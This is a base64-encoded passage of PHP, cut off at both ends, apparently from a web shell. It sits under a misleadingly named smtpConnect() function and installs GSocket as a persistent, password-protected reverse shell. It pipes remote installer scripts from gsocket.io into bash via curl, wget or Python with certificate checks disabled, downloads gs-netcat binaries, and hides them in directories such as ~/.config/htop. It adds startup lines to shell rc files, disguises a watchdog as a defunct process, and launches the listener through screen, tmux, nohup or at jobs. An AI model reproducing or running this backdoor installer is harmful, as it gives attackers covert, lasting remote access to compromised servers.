AgICAgICAgICAgICAkZXhpc3RpbmdQaWQgPSB0cmltKCR0aGlzLT5leGVjdXRlQ29tbWFuZCgkY2hlY2tDbWQpKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGV4aXN0aW5nUGlkKSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdwaWQnID0+ICRleGlzdGluZ1BpZCwgJ21ldGhvZCcgPT4gJ3Byb2Nfb3BlbiddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRzY3JlZW5DbWQgPSAkZW52U2V0dXAgLiAic2NyZWVuIC1kbVMgZ3Nfc2Vzc2lvbiAiIC4gZXNjYXBlc2hlbGxhcmcoJGJpbmFyeVBhdGgpIC4gIiAtcyAiIC4gZXNjYXBlc2hlbGxhcmcoJHNlY3JldCkgLiAiIC1sIC1lICIgLiBlc2NhcGVzaGVsbGFyZygkYXV0aFNjcmlwdFBhdGgpIC4gIiAyPi9kZXYvbnVsbCI7CiAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRzY3JlZW5DbWQpOwogICAgICAgIHVzbGVlcCg1MDAwMDApOwogICAgICAgICRleGlzdGluZ1BpZCA9IHRyaW0oJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRjaGVja0NtZCkpOwogICAgICAgIGlmICghZW1wdHkoJGV4aXN0aW5nUGlkKSkgewogICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAncGlkJyA9PiAkZXhpc3RpbmdQaWQsICdtZXRob2QnID0+ICdzY3JlZW4nXTsKICAgICAgICB9CiAgICAgICAgJHRtdXhDbWQgPSAkZW52U2V0dXAgLiAidG11eCBuZXctc2Vzc2lvbiAtZCAtcyBnc19zZXNzaW9uICIgLiBlc2NhcGVzaGVsbGFyZygkYmluYXJ5UGF0aCkgLiAiIC1zICIgLiBlc2NhcGVzaGVsbGFyZygkc2VjcmV0KSAuICIgLWwgLWUgIiAuIGVzY2FwZXNoZWxsYXJnKCRhdXRoU2NyaXB0UGF0aCkgLiAiIDI+L2Rldi9udWxsIjsKICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJHRtdXhDbWQpOwogICAgICAgIHVzbGVlcCg1MDAwMDApOwogICAgICAgICRleGlzdGluZ1BpZCA9IHRyaW0oJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRjaGVja0NtZCkpOwogICAgICAgIGlmICghZW1wdHkoJGV4aXN0aW5nUGlkKSkgewogICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAncGlkJyA9PiAkZXhpc3RpbmdQaWQsICdtZXRob2QnID0+ICd0bXV4J107CiAgICAgICAgfQogICAgICAgICR3cmFwcGVyU2NyaXB0ID0gJGluc3RhbGxEaXIgLiAnLy5nc19zdGFydC5zaCc7CiAgICAgICAgJHdyYXBwZXJDb250ZW50ID0gIiMhL2Jpbi9iYXNoXG4iIC4gJGVudlNldHVwIC4gIlxuIiAuIGVzY2FwZXNoZWxsYXJnKCRiaW5hcnlQYXRoKSAuICIgLXMgIiAuIGVzY2FwZXNoZWxsYXJnKCRzZWNyZXQpIC4gIiAtbCAtZSAiIC4gZXNjYXBlc2hlbGxhcmcoJGF1dGhTY3JpcHRQYXRoKSAuICJcbiI7CiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCR3cmFwcGVyU2NyaXB0LCAkd3JhcHBlckNvbnRlbnQpOwogICAgICAgIEBjaG1vZCgkd3JhcHBlclNjcmlwdCwgMDc1NSk7CiAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJub2h1cCBiYXNoICIgLiBlc2NhcGVzaGVsbGFyZygkd3JhcHBlclNjcmlwdCkgLiAiID4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgdXNsZWVwKDUwMDAwMCk7CiAgICAgICAgJGV4aXN0aW5nUGlkID0gdHJpbSgkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNoZWNrQ21kKSk7CiAgICAgICAgaWYgKCFlbXB0eSgkZXhpc3RpbmdQaWQpKSB7CiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdwaWQnID0+ICRleGlzdGluZ1BpZCwgJ21ldGhvZCcgPT4gJ3dyYXBwZXJfc2NyaXB0J107CiAgICAgICAgfQogICAgICAgICRhdENtZCA9ICJlY2hvICdiYXNoICIgLiBlc2NhcGVzaGVsbGFyZygkd3JhcHBlclNjcmlwdCkgLiAiJyB8IGF0IG5vdyAyPi9kZXYvbnVsbCI7CiAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRhdENtZCk7CiAgICAgICAgdXNsZWVwKDEwMDAwMDApOwogICAgICAgICRleGlzdGluZ1BpZCA9IHRyaW0oJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRjaGVja0NtZCkpOwogICAgICAgIGlmICghZW1wdHkoJGV4aXN0aW5nUGlkKSkgewogICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAncGlkJyA9PiAkZXhpc3RpbmdQaWQsICdtZXRob2QnID0+ICdhdF9qb2InXTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdwaWQnID0+ICcnLCAnbWV0aG9kJyA9PiAnYWxsX2ZhaWxlZCddOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbnN1cmVBdXRoQW5kUmVzdGFydCgkYmluYXJ5UGF0aCwgJHNlY3JldCwgJGF1dGhTY3JpcHRQYXRoLCAkaW5zdGFsbERpcikgewogICAgICAgICRhdXRoU2NyaXB0ID0gJHRoaXMtPmdlbmVyYXRlR3NBdXRoU2NyaXB0KCRzZWNyZXQpOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkYXV0aFNjcmlwdFBhdGgsICRhdXRoU2NyaXB0KTsKICAgICAgICBAY2htb2QoJGF1dGhTY3JpcHRQYXRoLCAwNzU1KTsKICAgICAgICAkdGhpcy0+a2lsbEV4aXN0aW5nR3NQcm9jZXNzZXMoJHNlY3JldCk7CiAgICAgICAgdXNsZWVwKDMwMDAwMCk7CiAgICAgICAgcmV0dXJuICR0aGlzLT5zdGFydEdzTGlzdGVuZXIoJGJpbmFyeVBhdGgsICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgpIHsKICAgICAgICBlY2hvICI8aDE+R1NvY2tldCBJbnN0YWxsZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iOwogICAgICAgIGVjaG8gIjxwPkdTb2NrZXQgcHJvdmlkZXMgYSBzZWN1cmUgcmV2ZXJzZSBzaGVsbCBjb25uZWN0aW9uLiBFbmhhbmNlZCBpbnN0YWxsZXIgd2l0aCBwZXJzaXN0ZW50IGluc3RhbGxhdGlvbi48L3A+IjsKICAgICAgICBlY2hvICI8cD48Yj5JbnN0YWxsYXRpb24gUHJpb3JpdHk6PC9iPiB+Ly5jb25maWcvaHRvcCA+IH4vLmNvbmZpZyA+IH4vLmxvY2FsL3NoYXJlID4gfi8uY2FjaGUgPiAvZGV2L3NobSA+IC92YXIvdG1wID4gL3RtcCAobGFzdCByZXNvcnQpPC9wPiI7CiAgICAgICAgZWNobyAiPHA+PGI+UGVyc2lzdGVuY2U6PC9iPiBJbnN0YWxscyB0byBoaWRkZW4gY29uZmlnIGRpcmVjdG9yeSwgYWRkcyB0byByYyBmaWxlcyAoLmJhc2hyYy8ucHJvZmlsZS8uenNocmMpLCBjcmVhdGVzIHdhdGNoZG9nIGRlZnVuY3QgcHJvY2Vzcy48L3A+IjsKICAgICAgICBlY2hvICI8cD48Yj5BdXRoOjwvYj4gVXNlcnMgY29ubmVjdGluZyB2aWEgR1NvY2tldCB3aWxsIGJlIHJlcXVpcmVkIHRvIGVudGVyIGEgcGFzc3dvcmQgKE1ENSB2ZXJpZmllZCkgYmVmb3JlIGdhaW5pbmcgc2hlbGwgYWNjZXNzLjwvcD4iOwoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydnc19tZXRob2QnXSkpIHsKICAgICAgICAgICAgJG1ldGhvZCA9ICRfUE9TVFsnZ3NfbWV0aG9kJ107CiAgICAgICAgICAgICRhcmNoID0gJHRoaXMtPmdldEdzQXJjaCgpOwogICAgICAgICAgICAkc3VjY2VzcyA9IGZhbHNlOwogICAgICAgICAgICAkc2VjcmV0ID0gJyc7CiAgICAgICAgICAgICRvdXRwdXQgPSAnJzsKICAgICAgICAgICAgJGRlYnVnSW5mbyA9IFtdOwogICAgICAgICAgICAkaW5zdGFsbGVkUGF0aCA9ICcnOwoKICAgICAgICAgICAgJGluc3RhbGxEaXIgPSAkdGhpcy0+ZmluZEdzSW5zdGFsbERpcigpOwogICAgICAgICAgICAkYXV0aFNjcmlwdFBhdGggPSAkaW5zdGFsbERpciAuICcvLmdzX2F1dGguc2gnOwoKICAgICAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICAgICBlY2hvICI8Yj5TeXN0ZW0gSW5mbzo8L2I+XG4iOwogICAgICAgICAgICBlY2hvICJBcmNoaXRlY3R1cmU6ICRhcmNoXG4iOwogICAgICAgICAgICBlY2hvICJJbnN0YWxsIERpcjogJGluc3RhbGxEaXJcbiI7CiAgICAgICAgICAgIGVjaG8gIkhvbWUgRGlyOiAiIC4gJHRoaXMtPmZpbmRHc0hvbWVEaXIoKSAuICJcbiI7CiAgICAgICAgICAgIGVjaG8gIk1ldGhvZDogJG1ldGhvZFxuXG4iOwoKICAgICAgICAgICAgJGJpbmFyeVVybHMgPSBbCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9naXRodWIuY29tL2hhY2tlcnNjaG9pY2UvZ3NvY2tldC9yZWxlYXNlcy9sYXRlc3QvZG93bmxvYWQvZ3MtbmV0Y2F0X2xpbnV4LXskYXJjaH0iLAogICAgICAgICAgICAgICAgImh0dHBzOi8vZ2l0aHViLmNvbS9oYWNrZXJzY2hvaWNlL2JpbmFyeS9yYXcvbWFpbi9nc29ja2V0L2dzLW5ldGNhdF9saW51eC17JGFyY2h9IiwKICAgICAgICAgICAgICAgICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vaGFja2Vyc2Nob2ljZS9iaW5hcnkvbWFpbi9nc29ja2V0L2dzLW5ldGNhdF9saW51eC17JGFyY2h9IiwKICAgICAgICAgICAgXTsKCiAgICAgICAgICAgICRlbnZTZXR1cCA9ICJleHBvcnQgSE9NRT0iIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIjsgIiAuCiAgICAgICAgICAgICAgICAgICAgICAgICJleHBvcnQgR1NfRFNURElSPSIgLiBlc2NhcGVzaGVsbGFyZygkaW5zdGFsbERpcikgLiAiOyAiIC4KICAgICAgICAgICAgICAgICAgICAgICAgImV4cG9ydCBURVJNPXh0ZXJtOyAiIC4KICAgICAgICAgICAgICAgICAgICAgICAgImNkICIgLiBlc2NhcGVzaGVsbGFyZygkaW5zdGFsbERpcikgLiAiOyAiOwoKICAgICAgICAgICAgc3dpdGNoICgkbWV0aG9kKSB7CiAgICAgICAgICAgICAgICBjYXNlICdhdXRvJzoKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5bMV0gVHJ5aW5nIGF1dG9tYXRpYyBpbnN0YWxsYXRpb24gKGN1cmwpLi4uPC9iPlxuIjsKICAgICAgICAgICAgICAgICAgICAkY21kID0gJGVudlNldHVwIC4gIkdTX0RTVERJUj0iIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIiBjdXJsIC1mc1NMIGh0dHBzOi8vZ3NvY2tldC5pby94IDI+L2Rldi9udWxsIHwgYmFzaCAtcyAtLSAtcSAyPiYxIjsKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRjbWQpOwogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvZ3MtbmV0Y2F0XHMrLXNccysiKFteIl0rKSIvJywgJG91dHB1dCwgJG0pIHx8IHByZWdfbWF0Y2goJy9TZWNyZXQ6XHMqKFthLWYwLTldezE2fSkvaScsICRvdXRwdXQsICRtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJG1bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICRpbnN0YWxsZWRQYXRoID0gJGluc3RhbGxEaXIgLiAnL2dzLW5ldGNhdCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghQGZpbGVfZXhpc3RzKCRpbnN0YWxsZWRQYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdoaWNoR3MgPSB0cmltKCR0aGlzLT5leGVjdXRlQ29tbWFuZCgid2hpY2ggZ3MtbmV0Y2F0IDI+L2Rldi9udWxsIikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkd2hpY2hHcykgJiYgQGZpbGVfZXhpc3RzKCR3aGljaEdzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbnN0YWxsZWRQYXRoID0gJHdoaWNoR3M7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkaW5zdGFsbGVkUGF0aCkgJiYgQGlzX2V4ZWN1dGFibGUoJGluc3RhbGxlZFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdGFydFJlc3VsdCA9ICR0aGlzLT5lbnN1cmVBdXRoQW5kUmVzdGFydCgkaW5zdGFsbGVkUGF0aCwgJHNlY3JldCwgJGF1dGhTY3JpcHRQYXRoLCAkaW5zdGFsbERpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3Mgd2l0aCBjdXJsIGluc3RhbGxlciE8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2N5YW4nPkF1dGggc2NyaXB0IGRlcGxveWVkLCBsaXN0ZW5lciByZXN0YXJ0ZWQgd2l0aCBhdXRoIChQSUQ6ICIgLiAkcmVzdGFydFJlc3VsdFsncGlkJ10gLiAiKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGVidWdJbmZvW10gPSAiY3VybCBpbnN0YWxsZXI6IGJpbmFyeSBub3QgZm91bmQgYXQgJGluc3RhbGxlZFBhdGgiOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZGVidWdJbmZvW10gPSAiY3VybCBpbnN0YWxsZXI6ICIgLiBzdWJzdHIoJG91dHB1dCwgMCwgMjAwKTsKCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+WzJdIFRyeWluZyBvZmZpY2lhbCBpbnN0YWxsZXIgKHdnZXQpLi4uPC9iPlxuIjsKICAgICAgICAgICAgICAgICAgICAkY21kID0gJGVudlNldHVwIC4gIkdTX0RTVERJUj0iIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIiB3Z2V0IC1xTy0gaHR0cHM6Ly9nc29ja2V0LmlvL3ggMj4vZGV2L251bGwgfCBiYXNoIC1zIC0tIC1xIDI+JjEiOwogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNtZCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9ncy1uZXRjYXRccystc1xzKyIoW14iXSspIi8nLCAkb3V0cHV0LCAkbSkgfHwgcHJlZ19tYXRjaCgnL1NlY3JldDpccyooW2EtZjAtOV17MTZ9KS9pJywgJG91dHB1dCwgJG0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzZWNyZXQgPSAkbVsxXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGluc3RhbGxlZFBhdGggPSAkaW5zdGFsbERpciAuICcvZ3MtbmV0Y2F0JzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFAZmlsZV9leGlzdHMoJGluc3RhbGxlZFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2hpY2hHcyA9IHRyaW0oJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJ3aGljaCBncy1uZXRjYXQgMj4vZGV2L251bGwiKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCR3aGljaEdzKSAmJiBAZmlsZV9leGlzdHMoJHdoaWNoR3MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluc3RhbGxlZFBhdGggPSAkd2hpY2hHczsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRpbnN0YWxsZWRQYXRoKSAmJiBAaXNfZXhlY3V0YWJsZSgkaW5zdGFsbGVkUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN0YXJ0UmVzdWx0ID0gJHRoaXMtPmVuc3VyZUF1dGhBbmRSZXN0YXJ0KCRpbnN0YWxsZWRQYXRoLCAkc2VjcmV0LCAkYXV0aFNjcmlwdFBhdGgsICRpbnN0YWxsRGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+U3VjY2VzcyB3aXRoIHdnZXQgaW5zdGFsbGVyITwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nY3lhbic+QXV0aCBzY3JpcHQgZGVwbG95ZWQsIGxpc3RlbmVyIHJlc3RhcnRlZCB3aXRoIGF1dGggKFBJRDogIiAuICRyZXN0YXJ0UmVzdWx0WydwaWQnXSAuICIpPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkZWJ1Z0luZm9bXSA9ICJ3Z2V0IGluc3RhbGxlcjogYmluYXJ5IG5vdCBmb3VuZCBhdCAkaW5zdGFsbGVkUGF0aCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRkZWJ1Z0luZm9bXSA9ICJ3Z2V0IGluc3RhbGxlcjogIiAuIHN1YnN0cigkb3V0cHV0LCAwLCAyMDApOwoKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5bM10gVHJ5aW5nIGRpcmVjdCBiaW5hcnkgZG93bmxvYWQuLi48L2I+XG4iOwogICAgICAgICAgICAgICAgICAgICRnc0JpbmFyeSA9ICRpbnN0YWxsRGlyIC4gJy9ncy1uZXRjYXQnOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRiaW5hcnlVcmxzIGFzICRpZHggPT4gJHVybCkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgIFRyeWluZyBVUkwgIiAuICgkaWR4ICsgMSkgLiAiLi4uICI7CiAgICAgICAgICAgICAgICAgICAgICAgICRkbFJlc3VsdCA9ICR0aGlzLT5kb3dubG9hZFdpdGhSZXRyeSgkdXJsLCAkZ3NCaW5hcnksIDYwLCBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZGxSZXN1bHRbJ3N1Y2Nlc3MnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5kb3dubG9hZGVkICgiIC4gJGRsUmVzdWx0WydtZXRob2QnXSAuICIpPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkZ3NCaW5hcnksIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJjaG1vZCA3NTUgIiAuIGVzY2FwZXNoZWxsYXJnKCRnc0JpbmFyeSkgLiAiIDI+L2Rldi9udWxsIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVzdE91dHB1dCA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZChlc2NhcGVzaGVsbGFyZygkZ3NCaW5hcnkpIC4gIiAtLWhlbHAgMj4mMSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkdGVzdE91dHB1dCwgJ2dzLW5ldGNhdCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHRlc3RPdXRwdXQsICd1c2FnZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHRlc3RPdXRwdXQsICdHbG9iYWwgU29ja2V0JykgIT09IGZhbHNlIHx8IHN0cnBvcygkdGVzdE91dHB1dCwgJy1zJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz5iaW5hcnkgT0shPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbGVkUGF0aCA9ICRnc0JpbmFyeTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJHRoaXMtPmdlbmVyYXRlU2VjcmV0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhTY3JpcHQgPSAkdGhpcy0+Z2VuZXJhdGVHc0F1dGhTY3JpcHQoJHNlY3JldCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRhdXRoU2NyaXB0UGF0aCwgJGF1dGhTY3JpcHQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkYXV0aFNjcmlwdFBhdGgsIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPls0XSBTdGFydGluZyBsaXN0ZW5lci4uLjwvYj5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXJ0UmVzdWx0ID0gJHRoaXMtPnN0YXJ0R3NMaXN0ZW5lcigkZ3NCaW5hcnksICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkc3RhcnRSZXN1bHRbJ3N1Y2Nlc3MnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+TGlzdGVuZXIgc3RhcnRlZCAoUElEOiAiIC4gJHN0YXJ0UmVzdWx0WydwaWQnXSAuICIsIE1ldGhvZDogIiAuICRzdGFydFJlc3VsdFsnbWV0aG9kJ10gLiAiKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0neWVsbG93Jz5CaW5hcnkgcmVhZHkgYnV0IGxpc3RlbmVyIG1heSBuZWVkIG1hbnVhbCBzdGFydDwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrIDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPmJpbmFyeSB0ZXN0IGZhaWxlZDwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlYnVnSW5mb1tdID0gIkJpbmFyeSB0ZXN0OiAiIC4gc3Vic3RyKCR0ZXN0T3V0cHV0LCAwLCAxMDApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+ZG93bmxvYWQgZmFpbGVkPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgaWYgKCEkc3VjY2VzcykgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJcbjxiPls1XSBUcnlpbmcgUHl0aG9uIG1ldGhvZC4uLjwvYj5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICRweVNjcmlwdCA9ICRpbnN0YWxsRGlyIC4gJy9nc19pbnN0YWxsXycgLiBtdF9yYW5kKCkgLiAnLnB5JzsKICAgICAgICAgICAgICAgICAgICAgICAgJHB5Q29kZSA9ICIjIS91c3IvYmluL2VudiBweXRob24zXG5pbXBvcnQgdXJsbGliLnJlcXVlc3QsIHN1YnByb2Nlc3MsIG9zLCBzc2wsIHN5c1xub3MuY2hkaXIoIiAuIGVzY2FwZXNoZWxsYXJnKCRpbnN0YWxsRGlyKSAuICIpXG5vcy5lbnZpcm9uWydIT01FJ10gPSAiIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIlxub3MuZW52aXJvblsnR1NfRFNURElSJ10gPSAiIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIlxuY3R4ID0gc3NsLmNyZWF0ZV9kZWZhdWx0X2NvbnRleHQoKVxuY3R4LmNoZWNrX2hvc3RuYW1lID0gRmFsc2VcbmN0eC52ZXJpZnlfbW9kZSA9IHNzbC5DRVJUX05PTkVcbnRyeTpcbiAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZSgnaHR0cHM6Ly9nc29ja2V0LmlvL3gnLCBvcy5wYXRoLmpvaW4oIiAuIGVzY2FwZXNoZWxsYXJnKCRpbnN0YWxsRGlyKSAuICIsICdncy5zaCcpKVxuICAgIHJlc3VsdCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsnYmFzaCcsIG9zLnBhdGguam9pbigiIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIiwgJ2dzLnNoJyksICctcSddLCBzdGRlcnI9c3VicHJvY2Vzcy5TVERPVVQsIHRpbWVvdXQ9MTIwKVxuICAgIHByaW50KHJlc3VsdC5kZWNvZGUoKSlcbmV4Y2VwdCBFeGNlcHRpb24gYXMgZTpcbiAgICBwcmludChzdHIoZSkpXG4gICAgc3lzLmV4aXQoMSlcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcHlTY3JpcHQsICRweUNvZGUpOwogICAgICAgICAgICAgICAgICAgICAgICBAY2htb2QoJHB5U2NyaXB0LCAwNzU1KTsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgicHl0aG9uMyAiIC4gZXNjYXBlc2hlbGxhcmcoJHB5U2NyaXB0KSAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJG91dHB1dCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoInB5dGhvbiAiIC4gZXNjYXBlc2hlbGxhcmcoJHB5U2NyaXB0KSAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHB5U2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9ncy1uZXRjYXRccystc1xzKyIoW14iXSspIi8nLCAkb3V0cHV0LCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZWNyZXQgPSAkbVsxXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbnN0YWxsZWRQYXRoID0gJGluc3RhbGxEaXIgLiAnL2dzLW5ldGNhdCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRpbnN0YWxsZWRQYXRoKSAmJiBAaXNfZXhlY3V0YWJsZSgkaW5zdGFsbGVkUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdGFydFJlc3VsdCA9I